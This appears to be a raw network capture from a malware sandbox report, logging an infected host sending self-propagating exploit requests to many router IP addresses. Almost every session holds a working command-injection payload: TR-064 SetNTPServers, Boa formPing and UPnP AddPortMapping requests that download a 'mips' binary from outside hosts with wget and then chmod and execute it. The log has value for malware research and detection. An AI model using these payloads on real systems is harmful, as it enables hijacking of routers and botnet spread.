Apr 15, 2024 08:53:32.394104958 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:30 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.13	57202	118.211.77.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.145781994 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.463067055 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:31 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.13	35658	213.188.211.32	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.181597948 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.13	60190	181.167.147.192	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.306399107 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.13	46388	213.123.164.21	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.335236073 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.13	42208	47.157.67.30	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.348509073 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.13	37512	213.203.154.198	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.349757910 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.13	55176	164.167.226.105	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.422688007 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:32.644241095 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.13	55252	118.45.126.149	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.476950884 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.13	44620	178.135.97.217	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.503810883 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.13	42318	47.157.67.30	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.506056070 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.13	58252	71.42.92.137	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.681658030 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.13	47482	107.147.202.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.700875998 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.13	42658	216.193.162.10	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.703336000 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.928458929 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="165c8b1fb8c53963299738134d7c3fca00054ab7",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.13	53394	24.177.155.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.716569901 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.13	46774	186.152.8.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.772027016 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.13	38670	14.74.68.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.775085926 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.13	43102	191.61.5.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.794814110 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
